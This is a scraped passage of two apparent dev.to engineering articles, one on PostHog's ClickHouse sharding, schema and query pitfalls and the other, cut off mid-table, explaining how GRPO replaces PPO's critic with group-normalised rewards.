&lt;p&gt;Why shard by &lt;code&gt;distinct_id&lt;/code&gt; instead of &lt;code&gt;uuid&lt;/code&gt; or &lt;code&gt;timestamp&lt;/code&gt;?&lt;br&gt;
Because in analytics, nearly every heavy calculation (retention curves, user journeys, funnel conversions) calculates what an individual person did over time. If a user's events were scattered across five different physical nodes, calculating a funnel would require massive cross-node network shuffles.&lt;/p&gt;

&lt;p&gt;By sharding on &lt;code&gt;sipHash64(distinct_id)&lt;/code&gt;, every single event generated by the same user lands on the exact same physical ClickHouse server. Queries for a specific user or cohort run locally on individual nodes with zero network coordination.&lt;/p&gt;
&lt;h3&gt;
  
  
  Layer 4: The Storage Engine (&lt;code&gt;sharded_events&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Finally, the data arrives at the real storage table on the shard:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;posthog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sharded_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="kt"&gt;uuid&lt;/span&gt; &lt;span class="kt"&gt;UUID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;properties&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;CODEC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;ZSTD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;timestamp&lt;/span&gt; &lt;span class="nc"&gt;DateTime64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;team_id&lt;/span&gt; &lt;span class="nc"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;distinct_id&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;elements_chain&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;created_at&lt;/span&gt; &lt;span class="nc"&gt;DateTime64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_timestamp&lt;/span&gt; &lt;span class="kt"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;_offset&lt;/span&gt; &lt;span class="nc"&gt;UInt64&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="no"&gt;ENGINE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ReplicatedReplacingMergeTree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'/clickhouse/tables/{shard}/posthog.events'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="s1"&gt;'{replica}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="n"&gt;_timestamp&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;PARTITION&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="nf"&gt;toYYYYMM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;team_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;toDate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;cityHash64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;distinct_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;cityHash64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three design decisions here explain ClickHouse's speed:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;PARTITION BY toYYYYMM(timestamp)&lt;/code&gt;&lt;/strong&gt;: Data is partitioned into physical monthly folders on disk. If you run a query filtering on events from the last 7 days, ClickHouse skips entire partitions from previous months without reading a single byte off the drive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ORDER BY (team_id, toDate(timestamp), event, ...)&lt;/code&gt;&lt;/strong&gt;: ClickHouse stores data sorted on disk by this primary key tuple. A sparse primary index stores an entry every 8,192 rows (an index mark). When you query &lt;code&gt;WHERE team_id = 42 AND event = '$pageview'&lt;/code&gt;, ClickHouse uses the sparse index to jump directly to the matching byte range.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;properties String CODEC(ZSTD(3))&lt;/code&gt;&lt;/strong&gt;: Raw JSON payloads are compressed with Zstandard level 3. Because similar events have identical JSON keys (&lt;code&gt;$browser&lt;/code&gt;, &lt;code&gt;$os&lt;/code&gt;, &lt;code&gt;utm_source&lt;/code&gt;), columnar compression ratios regularly hit 5:1 to 8:1, turning a 1TB dataset into 150GB of disk footprint.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Why ClickHouse Crushes PostgreSQL for Analytical Queries
&lt;/h2&gt;

&lt;p&gt;Once data is stored in &lt;code&gt;sharded_events&lt;/code&gt;, the speed difference between Postgres and ClickHouse comes down to low-level computer science:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Characteristic&lt;/th&gt;
&lt;th&gt;PostgreSQL (Row-Store)&lt;/th&gt;
&lt;th&gt;ClickHouse (Column-Store)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Storage Layout&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All columns for a row packed together on 8KB pages&lt;/td&gt;
&lt;td&gt;Each column stored in its own independent compressed file (&lt;code&gt;.bin&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Disk Read for &lt;code&gt;count(*)&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reads entire row (including unneeded JSON blobs)&lt;/td&gt;
&lt;td&gt;Reads ONLY the single targeted column file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Compression Ratio&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low (mixed data types per page, ~1.5x)&lt;/td&gt;
&lt;td&gt;Massive (identical data types contiguous, 5x-10x)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CPU Execution&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Scalar (interprets one tuple at a time)&lt;/td&gt;
&lt;td&gt;Vectorized (processes 65,536 elements per vector loop via SIMD)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primary Index&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dense B-Tree (stores pointer for every single row)&lt;/td&gt;
&lt;td&gt;Sparse Index (stores index entry every 8,192 rows)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Memory Footprint&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;B-tree indexes often consume more RAM than data&lt;/td&gt;
&lt;td&gt;Primary index fits in 50MB to 200MB of RAM&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When ClickHouse executes an aggregation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="cm"&gt;(*) 
FROM events 
WHERE team_id = 12 
  AND timestamp &amp;gt;= '2026-11-01'
GROUP BY event;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It opens only the &lt;code&gt;team_id.bin&lt;/code&gt;, &lt;code&gt;timestamp.bin&lt;/code&gt;, and &lt;code&gt;event.bin&lt;/code&gt; files. It checks the sparse mark files (&lt;code&gt;.mrk3&lt;/code&gt;), streams the compressed data blocks directly into L3 CPU cache, decompresses them in memory, and uses AVX2 / AVX-512 SIMD instructions to scan tens of millions of rows per core per second.&lt;/p&gt;

&lt;p&gt;PostgreSQL would need 45 seconds to scan that data. ClickHouse completes it in 80 milliseconds.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architectural Pitfalls to Avoid When Scaling Event Streams
&lt;/h2&gt;

&lt;p&gt;If you are designing an event-driven telemetry or analytics stack, PostHog's engineering handbook highlights three subtle traps:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The &lt;code&gt;ReplacingMergeTree&lt;/code&gt; Deduplication Myth
&lt;/h3&gt;

&lt;p&gt;Developers often see &lt;code&gt;ReplacingMergeTree&lt;/code&gt; and assume it acts like a Postgres &lt;code&gt;UNIQUE&lt;/code&gt; constraint. It does not.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ReplacingMergeTree&lt;/code&gt; only removes duplicate rows during asynchronous background part merges. If you insert duplicate rows with the same sorting key, both rows exist simultaneously until ClickHouse decides to merge their parts: which could happen five seconds later, two days later, or never if the partition is cold.&lt;/p&gt;

&lt;p&gt;If your query requires absolute deduplication, you must write queries that handle it explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Naive query (may count unmerged duplicates):&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="cm"&gt;(*) FROM events;

-- Deduplicated query:
SELECT count(DISTINCT uuid) FROM events;
-- OR:
SELECT count(*)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt; &lt;span class="no"&gt;FINAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;-- Note: FINAL incurs heavy disk I/O&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. The JSON Parsing Performance Wall
&lt;/h3&gt;

&lt;p&gt;Storing event properties as a JSON string gives you unlimited schema flexibility. But parsing JSON strings inside ClickHouse during every query with &lt;code&gt;JSONExtractString(properties, 'plan')&lt;/code&gt; forces the engine to run string regexes on every row, nullifying vectorized SIMD speed.&lt;/p&gt;

&lt;p&gt;PostHog's solution is &lt;strong&gt;Materialized Columns&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;sharded_events&lt;/span&gt; &lt;span class="k"&gt;ADD&lt;/span&gt; &lt;span class="k"&gt;COLUMN&lt;/span&gt; &lt;span class="sb"&gt;`$browser`&lt;/span&gt; &lt;span class="kt"&gt;VARCHAR&lt;/span&gt; 
&lt;span class="k"&gt;MATERIALIZED&lt;/span&gt; &lt;span class="nf"&gt;replaceRegexpAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;JSONExtractRaw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'$browser'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'^"|"$'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a property becomes popular across a team's queries, PostHog turns it into a physical, materialized column. ClickHouse extracts the value once during ingestion and stores it as its own column file. Subsequent queries read the native column directly, speeding up dashboards by 30x.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Session Recording is Not Video
&lt;/h3&gt;

&lt;p&gt;Many developers wonder how PostHog provides full user session replays without spending thousands on video encoding and S3 storage.&lt;/p&gt;

&lt;p&gt;PostHog does not record video. It uses &lt;code&gt;rrweb&lt;/code&gt; to serialize the browser's Document Object Model (DOM).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;On initial page load, it takes a single JSON snapshot of the DOM tree structure.&lt;/li&gt;
&lt;li&gt;As the user moves their mouse, types, or navigates, the SDK streams small DOM mutation deltas (e.g., "node 14 changed text to 'Submit'", "cursor moved to (410, 290)").&lt;/li&gt;
&lt;li&gt;These delta streams are compressed using gzip or zstd and sent to object storage (S3 / MinIO).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A 10-minute video session might weigh 50MB. An &lt;code&gt;rrweb&lt;/code&gt; mutation stream weighs 300KB. When you press play in the dashboard, PostHog spins up a sandboxed iframe, injects the initial DOM, and applies the recorded mutation events in real time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;OLTP and OLAP require different databases.&lt;/strong&gt; Storing append-only event streams in row-oriented databases like PostgreSQL creates buffer cache thrashing, WAL exhaustion, and autovacuum death spirals.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Buffer at the gate.&lt;/strong&gt; High-throughput ingestion gateways should never write directly to analytical storage. A fast proxy (like Rust &lt;code&gt;capture-rs&lt;/code&gt;) writing to a distributed buffer (Kafka or WarpStream) protects the database from traffic spikes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shard by entity, not by time.&lt;/strong&gt; Sharding analytics data by user ID (&lt;code&gt;sipHash64(distinct_id)&lt;/code&gt;) guarantees that all events for a given user land on the same physical node, eliminating expensive distributed joins during funnel and retention calculations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Columnar storage wins on selectivity.&lt;/strong&gt; ClickHouse achieves 100x query speedups because it only reads the specific column files involved in the query, decompressing contiguous arrays directly into CPU registers.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>opensource</category>
      <category>clickhouse</category>
      <category>architecture</category>
      <category>database</category>
    </item>
    <item>
      <title>How GRPO Actually Works: The Math, The Zero-Critic Trick, and Why Reasoning Models Don't Need PPO</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Tue, 17 Nov 2026 13:21:37 +0000</pubDate>
      <link>https://dev.to/syed_anzar/how-grpo-actually-works-the-math-the-zero-critic-trick-and-why-reasoning-models-dont-need-ppo-3e1l</link>
      <guid>https://dev.to/syed_anzar/how-grpo-actually-works-the-math-the-zero-critic-trick-and-why-reasoning-models-dont-need-ppo-3e1l</guid>
      <description>&lt;h1&gt;
  
  
  How GRPO Actually Works: The Math, The Zero-Critic Trick, and Why Reasoning Models Don't Need PPO
&lt;/h1&gt;

&lt;p&gt;When the weights for DeepSeek-R1 dropped, the machine learning world noticed two things immediately. First, an open-weights model could match OpenAI's o1 on reasoning benchmarks without tens of thousands of expensive human demonstrations. Second, the training pipeline completely bypassed the most resource-heavy component of traditional Reinforcement Learning from Human Feedback (RLHF): the critic network.&lt;/p&gt;

&lt;p&gt;The algorithm powering that shift is Group Relative Policy Optimization (GRPO), first introduced by Shao et al. in the DeepSeekMath paper and later used as the engine for R1.&lt;/p&gt;

&lt;p&gt;If you have ever implemented standard Proximal Policy Optimization (PPO) for LLMs, you know the memory footprint is painful. You usually keep four full models in GPU memory simultaneously: the Actor, the Critic (Value Model), the Reference Model, and the Reward Model. &lt;/p&gt;

&lt;p&gt;GRPO throws the Critic model in the trash. It drops the parameter overhead of the value function to zero, stabilizes training on outcome-based rewards, and relies on deterministic rule verification instead of noisy reward models.&lt;/p&gt;

&lt;p&gt;Here is how the math, the memory layout, and the policy updates actually work under the hood.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The PPO Memory Bottleneck: Why Critic Networks Hurt
&lt;/h2&gt;

&lt;p&gt;To understand why GRPO exists, look at what traditional PPO requires when aligning an autoregressive language model.&lt;/p&gt;

&lt;p&gt;In standard Actor-Critic PPO:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The Actor ($\pi_\theta$)&lt;/strong&gt;: The model generating tokens. It receives gradients and gets updated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Critic ($V_\phi$)&lt;/strong&gt;: A second neural network, usually the exact same size as the Actor, trained to predict the expected cumulative reward from any given state (token prefix).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Reference Model ($\pi_{ref}$)&lt;/strong&gt;: A frozen copy of the initial supervised fine-tuned (SFT) model used to compute a Kullback-Leibler (KL) divergence penalty so the policy does not drift into gibberish.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Reward Model ($R_\psi$)&lt;/strong&gt;: A model trained on human preference pairs that evaluates the final response.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Standard PPO Setup (4 Large Models in VRAM):
+-------------------------------------------------------------+
| GPU Memory                                                  |
|  [Actor Model pi_theta]       &amp;lt;-- Trainable (Weights + Opt) |
|  [Critic Model V_phi]         &amp;lt;-- Trainable (Weights + Opt) |
|  [Reference Model pi_ref]     &amp;lt;-- Frozen                    |
|  [Reward Model R_psi]         &amp;lt;-- Frozen                    |
+-------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you are fine-tuning a 32-billion parameter model, keeping the Actor, its optimizer states (AdamW takes 8 bytes per parameter in FP32), the Critic, and its optimizer states in memory easily exceeds 160 GB of VRAM before you even allocate space for the KV cache and activation checkpoints.&lt;/p&gt;

&lt;p&gt;Beyond the memory penalty, training an LLM critic has a fundamental theoretical problem: &lt;strong&gt;reward sparsity&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When solving a competition math problem or writing a Python function, the reward comes at the very end. The answer is either correct (1.0) or incorrect (0.0). In PPO, the critic must learn a value $V(s_t)$ for every single intermediate token step $t$. Training a massive neural network to predict token-level state values from a single terminal scalar reward leads to noisy gradient updates, high variance, and frequent policy collapse.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The GRPO Insight: The Group Is Your Baseline
&lt;/h2&gt;

&lt;p&gt;In reinforcement learning, the advantage function $A(s, a) = Q(s, a) - V(s)$ measures how much better a specific action is compared to the average action you could have taken from state $s$.&lt;/p&gt;

&lt;p&gt;In PPO, $V(s)$ is approximated by the Critic model.&lt;/p&gt;

&lt;p&gt;GRPO replaces the Critic model with a simple Monte Carlo sample across a group of completions for the same prompt.&lt;/p&gt;

&lt;p&gt;Instead of asking a separate neural network "How good is this prompt on average?", GRPO samples $G$ distinct outputs from the current policy for the same question $q$:&lt;/p&gt;

&lt;p&gt;$${o_1, o_2, \dots, o_G} \sim \pi_{\theta_{old}}(\cdot \mid q)$$&lt;/p&gt;

&lt;p&gt;Each completion $o_i$ is evaluated by a reward function to produce a scalar score $r_i$.&lt;/p&gt;

&lt;p&gt;Once you have the group of rewards $\mathbf{r} = {r_1, r_2, \dots, r_G}$, GRPO calculates the empirical mean and standard deviation of the group:&lt;/p&gt;

&lt;p&gt;$$\bar{r} = \frac{1}{G} \sum_{j=1}^{G} r_j$$&lt;/p&gt;

&lt;p&gt;$$\sigma_r = \sqrt{\frac{1}{G} \sum_{j=1}^{G} (r_j - \bar{r})^2}$$&lt;/p&gt;

&lt;p&gt;The advantage $\hat{A}_{i,t}$ for completion $i$ is simply the standardized score of that completion relative to its peers:&lt;/p&gt;

&lt;p&gt;$$\hat{A}_{i,t} = \tilde{r}_i = \frac{r_i - \bar{r}}{\sigma_r + \epsilon}$$&lt;/p&gt;

&lt;p&gt;Every token $t$ in completion $i$ receives the exact same scalar advantage $\hat{A}_i$.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="n"&gt;Prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Solve: What is the sum of angles in a convex pentagon?"&lt;/span&gt;
&lt;span class="n"&gt;Sample&lt;/span&gt; &lt;span class="n"&gt;G&lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="n"&gt;outputs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Output&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5-2&lt;/span&gt;&lt;span class="err"&gt;)*&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;540&lt;/span&gt; &lt;span class="n"&gt;degrees&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;      &lt;span class="n"&gt;Reward&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;
&lt;span class="n"&gt;Output&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="err"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;900&lt;/span&gt; &lt;span class="n"&gt;degrees&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;          &lt;span class="n"&gt;Reward&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
&lt;span class="n"&gt;Output&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;540&lt;/span&gt; &lt;span class="n"&gt;degrees&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;                  &lt;span class="n"&gt;Reward&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;
&lt;span class="n"&gt;Output&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;360&lt;/span&gt; &lt;span class="n"&gt;degrees&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;                  &lt;span class="n"&gt;Reward&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;

&lt;span class="n"&gt;Mean&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Std&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;
&lt;span class="n"&gt;Advantage&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Outputs&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="err"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt; &lt;span class="err"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt; &lt;span class="err"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;  &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Tokens&lt;/span&gt; &lt;span class="n"&gt;reinforced&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Advantage&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Outputs&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="err"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt; &lt;span class="err"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt; &lt;span class="err"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;-1.0&lt;/span&gt;  &lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Tokens&lt;/span&gt; &lt;span class="n"&gt;suppressed&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at what happens here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If a completion is better than the group average, its advantage is positive. The policy gradient will increase the likelihood of producing those tokens.&lt;/li&gt;
&lt;li&gt;If a completion is worse than the group average, its advantage is negative. The policy gradient will penalize those tokens.&lt;/li&gt;
&lt;li&gt;If all completions in the group produce the exact same reward (for example, all fail with 0.0 or all succeed with 1.0), the numerator $r_i - \bar{r}$ evaluates to 0. The advantage is zero, and no destructive parameter update occurs on that batch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Critic network is gone. The parameter overhead drops to zero.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. PPO vs GRPO: Architectural Comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Standard PPO&lt;/th&gt;
&lt;th&gt;Group Relative Policy Optimization (GRPO)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Value Estimation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Learned neural network $V_\phi(s)$&lt;/td&gt;
&lt;td&gt;Empirical group mean $\frac{1}{G}\sum r_j$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Critic Parameters&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Equal to Actor size (e.g. 7B to 70B)&lt;/td&gt;
